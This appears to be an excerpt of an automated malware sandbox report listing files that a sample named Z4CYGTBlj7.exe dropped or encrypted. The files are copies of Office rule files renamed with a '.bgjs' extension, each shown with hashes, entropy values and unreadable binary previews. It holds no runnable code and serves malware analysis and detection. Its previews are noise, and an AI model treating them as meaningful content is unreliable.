Preview:	<?xmlC.5..:.8...'.@....^1.zJ...A=.1{..+.M.2...#.......K....m..:2..9...(1.Z/%k.l.C. ..r..a)...}!.$.=.%.L...<..a....\|.f@PC;!...Q..q.....{....."..mz6h.....=..9i........'.m./..ah..l ...~{.p.%O.. !.B.].T.YS.@...:.Z%Z.\|?<...p.Q...yy.V_f.....6.h~....q:$....J.?.D.a........(.>O.O...v...7m[.f......G..$..T..?......~<...4....k$m......\J.....b....X.......T.?..D....?.\|V...t.X..y#..z..&wx....2..9..3...D...@Xln..6.V..j.A\V.o....8.F:.2..d=a..4j?p0..?i.......zc.%gZ...K@.G=.I.Gf...Z*.A......[.ZB8i..W.(..#.1...LEm...z.]..-..J8...3....+...]J........K#..Y.96C.....i.tH.4d....o..qSx......y.W..........7r..n...Z....e% ..."...E.9.....+Ye. ......!S..N./.HX..2....m9C..(...Q.U......(&..PTn...}.[.\|r..+.[8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170141v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.807735242821682
Encrypted:	false
SSDEEP:	24:w1VY4iXja8oUDbC4fWXfQnjzY4AmFiWJRzwyPSEauo5sbD:kvGa8dxU4nj8AFiWD0gouo5mD
MD5:	F132D1A9F299FDFAAB2948CB6C0E7C0F
SHA1:	DE6DA71A450D0965988F327E3B49ECB3938EA6F7
SHA-256:	AF9FF2D41FB0C5E10E2CCFAED689CA8ABFA06B2543FB40E13B1971E77B2B3318
SHA-512:	32A9FFB4499A4C89134EAA96D402B351E31E133D4E7B701E150518E30E3B3BEE1833CEE7DB2BBC069929A7878E6269CDE20397AD29B529E07A2BF32E9C38EA58
Malicious:	false
Preview:	<?xml.#.....0..4....g.-d.I....%....L...h..2.`...../:i..}.W.;.y..d.x..g..7.H.".U..C....g..+...i.m.x..1o.iegx..5...X.rE...Ge..K2.(.^......A....^5...../`..35..J@\|3("9.@..<...E.....@.'.2....~........\..x..1..\.e.....LB...70.5.Q.\..Mh..G.F....sf..8.9FX.`5..W .u.@.....Z..!H....1..../._....d..T.I"4..p.M.H.t..D..j..i......._....7.5`.)6WM......~...Yq..0.Q.~P8.U.Y.pL.X/Z....E.~=3........mf.A.....F.......<...x..j..!..S..F..o..>6..G..'..GQb....9...f%.....B...t..W..B...P\F4.]..<.W.....q&.......cjg......b....#.'...v#.Y.........K.z.L.+...#..T..W.2.y....(Y....w..FP..W.-r. ..r....K4.A"...RG{..k....va5.$u.....vQ.Y.$...j$....F....d...B......Gl9.....Y..8 .K.+"3c.7.]5...3..[.6+.+w..cH.'.7.j.q...8.Q.P.L..x&.Ps..^rBi..O.-(......V..n..........v........x.T.].....Y.....q%.&...,.q..pO.-VW.3...?.....@f....S....2...>.q..#T......l3..r..7?..l.....pZ..y6(....w.......oG._C'H...1.P.9/..)...V..u.f%....'t...M.n....b(..[l8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170142v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.771959046436993
Encrypted:	false
SSDEEP:	24:RYx/aC2Jg9j9agdM0EJlcePAWbuSxBMEwXh7sbD:RmS+jUyapAT26pxmD
MD5:	B832FD386F0500FA10AAC71D2A7B831D
SHA1:	3F972633790A6B60CF4CD1CEC3154C029CC97283
SHA-256:	81BF7D4761DE02DBD5E73EE0D979FDAA5DDA0456C87FE1E6FDDA8AA695D0FF8F
SHA-512:	A23E40506C86DD16031D414F2F97D7AB883674F8803C092D4652B3F86C35C8AA19BCB7226C3E41E31A6288A90BFD3F02A27ACEA2EF410DA1C32DE82DECD5FA5E
Malicious:	false
Preview:	<?xmls;..c...../zQt....@.....E..Y...i..+.3.u`L.....`..-...@.<2.O.3._...I.y..".9ss......A..9A.~@].p.1s=p..y5i../.v..'&8j.?gy..e...N..)...CA..-...N.}<XZ]H.]..0..5....~X..;6.ke.j.M...7.?.".D.T....2x<V./.hO-....1...e..._.Q$.........m..#....T]L..p...,D.n....[.....\|.H...:.j7.......1zk.pf]>.....:q.S....i$T8....&...m}..gp..C....;.-X.X..X..3o.R.....<.qp.r...c... ...]............U....\|T.=.....l....9..yuG4.a=....<3.Z./..U.....8...h".....U...a'..2..#A...(b..\g.....q.r..Ua3..........Xh.i.....q:..V.R.....W..of.Y).^\4:.V...s..nU..E.W...M6.'..+...[...P..XA.....6...z[.NM.......`.........Z;.N#.M.......@.!. ..1...tV....i.u.1...\|OiT....\.6OB.GC.sV........}.:.#.....q........)t...7.F+{f.... ...'...*I.fU.....D$.a.....'...\|?....B...f.....yS....j...=.7..#G...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180003v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2217
Entropy (8bit):	7.927850101115713
Encrypted:	false
SSDEEP:	48:rhlMfnTjmyV5mgjNLIt4ra70ZBUzk76KrIfJbDfkIB+v9DfmD:rEPmyaoNLiiZBUg+Nf1zkIE9L+
MD5:	E461DB920B897B6683329D42468D1997
SHA1:	5BCE1FB9FC12983A67CE223A7FE8B8AD4F492E12
SHA-256:	8D09922AD1748AA1C100CAF278182850FB1117028C3B56E270858AC7E17E7ABE
SHA-512:	824B4A4FA85A7A4CE6DCC20B8CA003576BE18B6C88C9F4420251BC6882BD9D1588BF2A67B162E2AC30197CC095F9745E080201FBC1FF76377988CFAC6F994A89
Malicious:	false
Preview:	<?xml<....kV.}.X...r.[d/........(.%.F..q.....f...-#C.\|....q.Vix.r[.....H.+M-...5''\|.)....... ..z._6.I.D.3.#\|..G.i.....A.......eBb.iO...?.tO....#.@J....z...R.....VY...z.Q.......0..[.\....v<.Fn.\.)J.=..{..P.....]+,X%..cx..].U...G\^..X6.....b.N.).c...}.D.d.i...y...XWW...&..+.".K4...o.. ..K.%.V...sh......XG...%...2..O.s.s"\.T.<..K...o.... ...0..u~.+.W!%.iF.o.....n.......?../Y.........>...T..`L.c.2)..>%....46.hd.@...7)....\9..>.gjc.sG....!.u}...\...:mn.2.%<...FB...#...... .K.C.;8.A.&?P..S..6QX....#1b}I...\|}......$.r...W.....q........85...l... ..Q.\...&E.Mn.....3.Z.......#.r..........%M.co.'....K..(.x.$@.>B.....+.J...=.%........e.j..-:.....{..x..P........(..f5.).P.................D...(....g..X......~ ..6..\|u.y.#8.....U."n..y....0f.Kh.V..{.....-.@.....Z;~..U.&...%>.~.....D..'.^...1../#..v .1,..,4$.a.F(..f$.I......5.....4....1..........K;...SH....-..TC..._...~.D%r..Tt5..r......E..8...y....g#..Z..n.Ln...srJ..L.U...G)V $'W....`.8..z.?......Y..\.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180026v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1987
Entropy (8bit):	7.908329135253952
Encrypted:	false
SSDEEP:	48:4h4D9nO1tP6ioBxb+w9SoV4m99B23cZLFlBuzh490xnZa66hZJmD:4aJUiY3+92sgzhAEZa66hZJ+
MD5:	51E9C0B899726B8ECB72AF44684CCEBE
SHA1:	F1807707D8338AFB76160178F42911D37C90C624
SHA-256:	56B5C99974204A2124561A8781A6F5B3AE1642B3841F6FCC5C4675BC0A5F7C91
SHA-512:	05E570531666B6C8F8472F0C3FC1CB3C2E6343DA9EE873D8110746333F94C242A9F1743B32811F4179E5C5C32599668324CBF5948F3D9E92109C2A02612A0565
Malicious:	false
Preview:	<?xml..=G"zcwM,......-.#`#-...+....2T.]...i..6`.........0M.......q..~iC.[{.O...~.on9.d.J././..WK.3H"\...t...P..4.........J.8..N..(.\|..4R...2.&.#....{..U....](Y.[NB.a.n...IQ\.......Dm.J.v.."..]..%...7.... ..."...\......P_.(.........B....cm+..gsU..uWw,RV7.8r..a...<]..^I.~].U....7.GX.)M#..+CV.7..8+.6....z.68"..Z.f.(.oVH..%g..X.~.Dc..\?./..~.1.-.?s.kL...i+..I/...j.._....W..,..<N..X^..A$.H....9.. ...fA......Eu.C.D'5rIm.f...<.....\|}u..&.,I.$...-.....>..hG4a....H.........Dh...z.2n.....xCW.t...1.+X..+x...}_.t....]hf.3.#...-e.........p.y.A...E..p55..Q.^.j..#.....p...GI...ypte.^..;...&P...gC<......C.....&.o. .pj.......u...::..[..v_...!...f..@....f...?H.wC.....'..../.r.@...p.5...R.._..k........w.t9...P..a......\L,..(3...ax...v..#{......Ad.[..}.....9.H.P8...N.^...J.. H.Hltr.j...<.D..sf...o....Z.sh.....]]..!....8J.e.\.g:............8@1P.1H.'.1.. .bN(.r.%&.A2.s.s...~........`.>.5W.YW....=.'wD...?....)........)...NE.`...bKf......P.S.$.e'.".T..U..h$..g

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180027v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3851
Entropy (8bit):	7.952558623463235
Encrypted:	false
SSDEEP:	96:WuTspDK582wxATnoza0MkiadSG0Go2t0IpXLxt+:WuTImwCTolfiYh0ot0I9Lxt+
MD5:	83C8D0A254B4297C704719F067C07012
SHA1:	5CD3EA136DE0CB11DBA5E0E61AF84C0B73E38CA4
SHA-256:	38D19AC12530A070F0FAC239EB88CAFD72C9E563D27636193CBB1A431121FF7B
SHA-512:	5CF69B3130F882C3D4B94A309B0A331336A3DFC0F1C20ADD858AE1028BF05A5798440B3334EE4CC94F150C0C2DFE915C93208F55B455B46E754CF8212C47956B
Malicious:	false
Preview:	<?xmlg...o....E0t.s..L..tTbz..7#..b......A..=U\1"q.<.R......=iW."?P.......T.m..d...@....!..G(}..j.hZ...7...^.p.....0z,.<....m.`.....Z..1Z^,..(u...~s..`...1.C.Dq..XO..:.....\.Lf..4:{..C.1{N..].n....B...}....r....Vv.Y25g.vdo.....0.. ..^..P..1...x.'..D..e...R`..RLs...v6...#..?-z%)?.B...+.Wl..-H.w.......g..cAS..4W9z_k.:e(.^./......JD....b.Gk..tTs.>EK..........2...P.....0m.G..G..}...Q.ME.AQ.......t.\|.9...>c...Qa.}..~.".....b..Le..f...P2F.O3...`."+7.m...w./.\q.%.Q.N.1~<Gx.w..F.....g..j..(.....Y.(h..n@V.W.Aw.n..X..HB..5!.....z.NJ...XQ....kzU.?...l./..\.e...k3...C........./...z;.Kw.....Ke...`_....6,.....".....8k.\..k;^3..l.3....;..HQ.2o(.Us.b..kN1.0.p..N..1l...f..<Er....'........mj...f.o0m.o`.W#.]f'._b" ...C.$.`..Q[..]R2...<..~.P...jl}#.>F..>...r'..s............".....H..g...l..?UG.h._&..&..VM.]..Yn.)....f...`.Fx...S....ld.K...+.9._y...(_"..@7.....im..Y.Jm..2-. G......k..:..\|.U=.]k..1.x.......3\...7..W..7r.J........N59.^..K.t.i.&bI~.bR..Rao.)..u.?.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180028v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3223
Entropy (8bit):	7.943131118459646
Encrypted:	false
SSDEEP:	48:e7LFtERax6B1BtDA0OLAhFoR3NznHcG/4QvgPV4CDNRYcNDvY/nGmEuoLamD:8L0R3z8pqoTHWP1NayYu3e+
MD5:	62B18DFAD73F32730F29BE17736508B5
SHA1:	ECCF9E96A58EDD53C0F29BE42106C70517518ABA
SHA-256:	E11ACD824EAF1DF74E696090CDCC9410E55383D459D3F7DFDC356696D0EB81EF
SHA-512:	AB2A5799606BF533E6F5DE82A959AC5169FD5738DDDE77A838D6DF05D64ED140697CE947A3031D33FED079503F7A12E0B92949C811128ED660E66BECF14FC9FF
Malicious:	false
Preview:	<?xml...6.....8.n..N'..n.h.@F'...v./4.'X..K.ir..o^p"...C.wk....G.J:/.m...=j[....NG...84;....d...I%.........S.(...YWH.. .\.3..&...vQ.....&Z.GW...pZj......+........M&..9d.=.....I~ '.........,.?.....j.7.-........IV....h.v.ruQ.E.%.T/3......I.1..+l..(_...J........m$k...`..xTo".....e..,..?`..yd.....0.g...Gu.sI..TP...Q...x.1R.9.S....X.:.Tae~..0....3M.....w.g...=.%p..h..i.zm..I..y^.....t...A..5/..D..uu....<{..cU../..A...~>r...w..."vC..M$.E...i..h....)[.?..B+f..N...D....hO3m..._.E...X...h.tL...g..O.?Q.\?(.c'>N,<].6.+....KwQ=.F.j.../...},z.Tc...#.y.....L.6.G]+.}..BSS.=.C...c#.....=..F.[Wn.....i\|_}..(...'.L6.......y;L\|.R...M....4...FG>rI..Ut!^ .=/>..4.w.<.:F...^;...JG....c.OT\|=.31.l1.O.....l....@.u.Q...K/..&..W..d}f...........s..@.,h.....1.K...]...C.3 ........`V.i..#A.v.7...k.t..}..,Wn...S..:S...\|\..2..F.\|.4.@.._..f.Me.`.`....m...........7*.$^J....V.S..uM.+....{\|G.6.y...B.....AL.....E.MO..sB.....:^"......o.e..r..;/;./..5.yP._..+....#!..T

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180029v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	7.869478015488842
Encrypted:	false
SSDEEP:	48:O72Q5AmYWLQ6fZPagS2JibhP8jm4XWJ3TAmD:OKNFWLRfZPVS2QP8jm4038+
MD5:	D2E9F746EBE3D6835691A03EE7E41D0D
SHA1:	835B809984229393C55B28EC730447E34CFCAE6F
SHA-256:	AA7E3D1DA5053D611B1245DB08E978EE3827C07BE97AD6E7CEB9B6BC9D3F72F3
SHA-512:	B4B58F77081E5AC44E417B74047DD84939ED9D1F3E92A51957BE6DAB9ED0B60FA386900F05E3C5E9A50B2A451E9CD8D25BB059C8F93C56473A40C6BCF7E9443D
Malicious:	false
Preview:	<?xml...6..}..zRoH...yqV.:ek....Z.E..0..E...b8b....g.W5.RU..&..B..=}.*.:.6C_...J..t.ni.l....f.....7.%..f{+....g.>.9...S..h..<...7.\|.[....=.N...\,._.a6h....L..B.4I....8.4.T.B.h..>..RL..y=...v.o..$.lE.;......B.......5...m5...p.V.@...k....k....c@Jf.......An...B\|.U..f...DC.{x6...U.K..r.{..;7..-!}.0... ..9~.....gN...:.`.<Y....m2.m....l....RM.....M._.ay.V....&.$s.T...6...5......GeV.N..vZ..Q........4P...Ax]%..a.I.G..b.....l)..+......;E....`.C.[....}...kA........;).Dc.tPj.7......'n.....a...$.}@...$.k..C..&y.,..]....o..........(a...(...?.=..t.G.K[.{....Tj.@..PP>.....j\'.....G..H....~..9.I.n.......R....YU.......#...4..r..(0...Ka!..".Z"...w.......E.#1..t....4.....`..C..W....s.U.)...v...n...E%..?.p....g...QH.ha..4....Ez.,.......}.zh..b.+.{.9..S....^.R{..SW.Z.5........a.L:O....0..X(P..y!.Q....hW.+...wG....`...%......i.\...>.e(C.o..RF..V..b..H.-.N...FH.+K5... U....5j..\|..K....-C....z.i...B/.q.=.{.<`..L.......Y."s....YK.Y...J..V..$.t..X....D..{R...M;

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180030v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	7.847342854809566
Encrypted:	false
SSDEEP:	48:fXvnfTlaD9rZp0sLdoGgOlT2mZ9E4FG/LmD:fX3TAvpJxoG72mDEN+
MD5:	A11EA637FBFE34B984B027C9210D6583
SHA1:	F0EDFA90F04400C3730B702ED15EB141043559B5
SHA-256:	6982C8BEAA8D7FDF35D7703DF771C1A0DFA0D7C9FD6E064DBA654E17A8B70CE2
SHA-512:	AD4E50553981C28AAE4FCD4246A542B3B850273B80AF2B5828CFF4DD6CBBB17905A5D3CD7F2934DC8319C118C43975D24BEF4F4ED0FCC1160883D7E67A041675
Malicious:	false
Preview:	<?xml..%].>...1.6..4E.H.....T..=.:/.w..qw.0:............YBw... ...H%..G.ER.c..b.EcnZK..4...Z3~........jt.E].sU.f..rm.....vd..;>.........=..s.<..@7M....d.@1u.M..\|.....[.F....;...l......6...=......bkL......=\.G.../.b<.....>...6..uD...r\|..(...@....x2..;.D....u..h(......\..e..Q7&w.i..H..H..rj..#..6.....y..i..=.a....4.`.].Tf...."o!...s..O.9.....y..!u.)c... .....C..?../a#d.n;.....~Z.....f..&....U..F....e.j.Q...\|..\..&!q9...9yM...fc.z@/...Py.\..K!$.N.....9f.#oD..z.uM....a...z.6t.u.-...6'.0...>..l.q4..:..Q.f....l.7.>..;o=.-.}.......X....4....N......x1L54...muuL.0p....GA....x.a.1.....?y.m...x9..K..B.O.n..........<V.u..{.v..q.b.e?d.4F..!/..la..E.z...%...L.\|.7v..0.....<.yL4r1.....V.[.-..o....^.Q...5...0.A.U....1.p..H..l.D....X&....vq.N..X.%...{....0./K....o....v...j....n.b...:-..$@=..i......h...3u.:.p........r9:.....b.K`....55\|.?..\......%.....\a.;la.R[ki.z.."$U..l.........J$......;.a.T.....h...yf..a..N..vx5.....P.....B....9/.a..4...)3..v..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180031v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1978
Entropy (8bit):	7.879901528653995
Encrypted:	false
SSDEEP:	48:aj/g0SZJVX1jXholYe3IjPc7C1vFU/3CQbLORmQBGmD:aj40SFX1jx5z5zI3CmLOxBG+
MD5:	67FE845A5F33570A4BDCF4DC38CACBD2
SHA1:	22050D2B2D6C342203E845F7214FFD7B0BD76D2B
SHA-256:	C66F47EC175D0C4E2563CFC4EBE2C36BE882A16C5E72B381587D3B2EA0AC87E1
SHA-512:	8638AA9CB873DE577F9FAF340A13A66EAD9177AA580903A8DCFC6F39AE513CD460B44BFA2EC8257B73302F7E430DC22E59AD59A266E15046CFFD3184384D9171
Malicious:	false
Preview:	<?xml....;.{....<....L6gK..>.E.\|.L.l..U...X.`.....sq..E..G..wD.\K..-.y.\|$Iu.Dy..b..L..-.<.>.5q.g..............O..,I......F...2....._.?j.R.m.1?........\|.D../1$n.E.g..N~.uYxI..D.zZ.s.Y....,..8...$.U\.....cP..5...o.....J...{..6F...cqj.pB.$....W.w...(.f...{..w %....E\|.M..@......0.'./...[xo...].%.u.E]U...i..6.&-...L? ..&..Fk...\|a..HB\|..f.'9.#..K.Z..dN....ns. ..zj./..=....Z..2%A./.rA..<..K..!......E.8....t.....l..]a@&.B.=,...KD....>.E..,.:.X...@x...s.O..-6]..........l..E......>j..u....&.kR....p..q.....bO..<H.3...B]...I'5A'5..;h...PI.F..=,sM.6."&.+b.2.."3S/..u.@y}.E\|..a..!P...e.sgE.....R....O...DL.1....E..fI....<..,!.\|a...d..!:.b...QF.f....&.....w..+....V.t2.B..e.y.H.g..u.......j..\|J..V%7....3;.$...V.g..................M.p')[b....J.t.O..k..y.B-...j6p........#........e...t>z..?y.x...........a.D.zO..]......;"mCbY.].~.....1..}1*....i..8.vg^.....xT].c.ZY......I......,....:.Be.....S..{Wt.$..m3kg.......#/.4._...s..z1h.l.<`N,.n...1..j9r..o..L...N..o.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180032v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	7.89009338971801
Encrypted:	false
SSDEEP:	48:RhDKkaXSQmMtTgQ2EJYNzeRmdvDkHvtyU2YN7NmD:TDVuTVioRmQPtFd7N+
MD5:	701EFA02996F8E28A658161CF912A558
SHA1:	C0FB310F1244994B00E38BF81B5D9F9CE6571C0D
SHA-256:	59E925019C5ADEFAC9BAA72459BBF67D0A9DC067687744C74FC3895629735799
SHA-512:	53335EAD712215C049FACC1E829BA2E04D0A7DCF4214EFE00D5C8C9824443479D666ECA584E37ECB43DCB328BEB929F77E316E0DD9DE88816E784FF0CFF58454
Malicious:	false
Preview:	<?xml.eZ. ...2w1.&.7.........E.P.I....Y...<=.CK..HP.y...?..8...9....w.....H.s.If......iv ^...D......L..j...I.t.~..~I(.I.`.!..S......]...W....^q......w......U...:..2.W.....5......w.{..}.TYP..{.F...m..D.db.L.w.M......\..o..8...gjj..[{...m&...g..im..B.../.tN..?.1\...`f.....R...&1Y.C.D...z..wa.......ku..~.s-..&.d?.X.>q...".(.D..W.K.Nd_.6v..Pe....Vw...I......".?._>..y........................J...eP.......P..Ek.bp..w.;$u.....e..]...Y...........i.f..AA.n+.oO...!...Ki&.nH?..^8.Ka.$4....U....qT..3.4Z.6..w.....a.!......{..n.[._h.{..o!:;....u.f.....u.^j.6\|[D.=YbD.!.e..;....8,.....xo.%..N...}.....svf....Cfe.r5..._......T?..'....pL..N.Ux......().M..!.2..$\|..5dB/.....p........<.q.~.....i@..`W.._Es-E..je.l?qd.(....n.....i.%X...d@.y...e..p...;.T...U.Y^ru^...^.....em..'.46V..O...M...(.i ...K.(@H.X.bD.....@a.3.R.....k...F.pe.%..:..&T.5.4..Z....9g.5XF...I..j.+..C..,~p7\.....$Q3.....TRH..SV%.EU^....wS..\.*_p..BK....z...B.\|.....B..SG/..L.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180034v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.887755953896385
Encrypted:	false
SSDEEP:	48:oRj3Stc7bS2+9MLVxsjT9ysPVTcrsjRTIC9y5upmD:Mj3l8MLV+lycVOsl05up+
MD5:	C72B3322496DAEAFF3189FA4F8BF5152
SHA1:	865AF7E12ED77D4BBB9895FE90701E57629523DD
SHA-256:	AA31132871D4EA1948B51E5E826BCFBE5227E00BBEBA5500660874D012E8072C
SHA-512:	DE237CCF6C10ED6F61D424E6F40F290EA5D33E4D99E17096CA4F4393668F7FA246E5336CAF93B5D601096EA837B5DEF94E7E0A6F6CFE454FAF91C75B5E527F08
Malicious:	false
Preview:	<?xml...".....m.....r..U .\|...by. (s.i.J!m.....nC\|....`.....([hBb.}.(.fMf._..w.....z.....$"P'....'sr,.0.n.........$...e..4!uC@\|.s..3.M..u..l...~.l..zEL...GA....R..<.o.O>.."b..;....}..B..&..l...vH...&.N..'..u.!X...^.Cie..5.r..0%..4.......\......`.Mc..........sFZ.....k5t.b..$.,...a..+E.}...y.]e....p...j.FI_Y.....G...b...Wd...T..`..k.=........`H........:.X.C..H.{.W3....Q.. .^3...z.>.....g.w..........gd...................C..................z....e...QT.."......lB/......+..i.\..N.8..^......]&.u...!K.p.....d.Xp.3j.C..9\|...?...&_..8....3&]"L......~$.......`\M..\...Y.T-B.d...T...I;...!./&._.b73...u....Nh..,.Y...,&..`.U....Q.......#..'.....C."=.4....=y.....b..........9(A...w......$a.......@Q.9..z.#:...[.....?..GF.j......._b.oj>gx.....i5....R@..)..Ax..$=l9r.%..(....c>....zy...W....i..K.N.3.&..Q5^.X..!y6.......-.E....&B+.W(.!.9..^L.X....U..:..X(.........V.4...e......slL.l....N.......l..,...q:..v...%.[n..N........V3.j....h.g..3v.MQ.l.U#..

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	320676
Entropy (8bit):	6.634488683776125
Encrypted:	false
SSDEEP:	6144:U6QhwNoJBdfvzP00zM5Ajqe/BzD1ptNabz:tQh+oJH7M5iqCBTtI/
MD5:	754E4516806419447F3254919B226149
SHA1:	DA5915077025081E9945F457E5571A8D4085237E
SHA-256:	D2505E1737DE6E404B153E76A864947E387B365C86FCA1CE2079704A4B231B61
SHA-512:	A3DF16EAC9EA3530A6F23009D6E62F14260A35618C2B2F3ACE92A86CDBC8AB993357D827D5610ED00A01382ED78C09119C3A97187A6009D1D3F9F81AC0F00EDF
Malicious:	false
Preview:	<Rule5..{?......A..H....`.p.....QM......b.\MT.........Z..l..YB........9,..r>...S.H.....%.Y+......>.n.4Ej.Lr}...].r.Q.g...&5..EGo...x.<.-,...?..s..aT.E.....G...O.....x..7...q[...U..R.....c.4..9%.4.yl..d..7............V.b<V..X...hP....P..OcV.K.._>.4.d.Dd..}.<.$.=.K....S..X/..L~...`U45[i.....[-..^...$s.\..J.k..t.V.$.....z.W;?..&v.a8.V.._X.C,qc..y&.})H.!....#\|t..<.#.~..w........%..5_.=.H.vb[m....-...^.f..T...e...e..jV/..2bj7.m...v1..k+.....?.O...'.Wbf`.A...j..n..>..,l.:twP...'...th2.B.....b".#..3..jy..6gAd......rwr+R..,.7F.u./.8bt......]]"&.....8.`S..HWt......@..._]...,.L@...P...a.J...}...d2.@6w.y.9w.E.L..*8...9.....i..@.KN9a.u>-....`..T..'..N.^..`5.Te8.dP...c.>...d?@....R.=......s...=%6.W.1.k.B....aK].)..e.#).w.@.8.../..T.jQ...A...%.__..S....Z.c.....?+.\...+.{..9..~.y.....[.4P..f.1H.{.X~.O.Vy}......U.M.....rX..%...us.?Z%..u.T.x@.DD/.dTce(`.......{+C....[1.]..]...;......1.91bm..Y.}R.....7.F...p..6c....B2k....K..C.PXv.}.=....T..d.L..a.....\.Lp./

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.51600208420887
Encrypted:	false
SSDEEP:	3072:F99AnDyteQ1FEYbUilBsaohO/KZDWV9aEuSJmyK8nL7RY7xCr1o:fRfgYhsDWViSJHnL7RexI1o
MD5:	BBE832AD9C735479C68E04DACC22D8C9
SHA1:	BBD9853451D9274774A50A2B6DE559F6F6A2AC7C
SHA-256:	3F76046D53CA2981B97A66B58543F912E77CDA6FD56560A8A85E2D0E1545A6F4
SHA-512:	E45A40A47EC23B2F457CE49C62525FFE297DA1F603F481C8AB6E8365C8D5CA06F51EABC41141E8711E7FE9BB39884A1E4168B6B15FFB1A6D908D50312E5523D1
Malicious:	false
Preview:	<Rule...\|I,...z.z..[..y).3^.....(t`b.........RVr.Id..>.....+.^{.h..6...B.....au<...}....%.o...X...E..xTzt.y$.D.b..n._...j..B{.......rs.@.0..VQ...+.67.J.A.%...z....We`.o.z..la...x........i.Xz..b'7..._[Z..Q.>GU..4...vM.&.{({...._N.h#..........5.4..d...#V....P.%.0v.J.`..3...v1R{./...z.Z..2.q..YY].C.......}0Ni.n.P~s..B...>.mA%...lW9Qs.q.....K.g$....4sr2..Y.VqH.....18..}....W....B[.4Z.7.Cx7.t.i.S.....z.....<..D.z...;.JH7..C.4I.>.1..........&.'.N......?..YG....rnl..\|..h^.4........=@..U.8..qf".@..K\`...^.......'.RG.m.`y..s..+.. ..v.1.B.......S...f.!.=./.+.ug]q#..mm.Q4......z.l...a~....e..4..RA......U..2...!Q1.r..=4.Q..q......k(..S..$zzC.....~...u}.{#L.D...j....2\U..k....&aV_u..-.%....T.M4\|Lh.$&.}N.g{@..\|./.'s.9..,..V....cw.0.T5....W..b..m.`#t.../.}bB....`...8..N.4>..7..=U.;1.Zt...h..+....~.R-.+%...S.v&!\|r.h#x..J......i...WC.......z.L..j.N7....PJ.....wn...s.h.......d...y.yKd`.....$G.3y...a.@..TC.l.."Z.m.'...JZ........;*.'I..C..\......x.

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.820453447640842
Encrypted:	false
SSDEEP:	24:0yr5h5YOwQo2zBl1nKquAZUEQ4BinUrvTKFv80vssEdjRq9jH0DJNet/sbD:zr5LYOHzT8abKFvtvssEq9jH0dNeRmD
MD5:	961992589603F6A6F4311668C9C4E800
SHA1:	0B6D650BCE0727D908F52168D2E0EB9207D5294C
SHA-256:	B945AA3B9BEE0FDCC249CE1D89FB7FB5A04D741E71C1A1D479FEA07F8BD8E3EA
SHA-512:	D61B84F9DFEF271791B07F2BEE072A6BC3FB6DB8B07B60B0833F31EDAA29E4DF01265633D1540CA7F12237E1CF600F06D505645D6A02C3E58F026962D6FC0C24
Malicious:	false
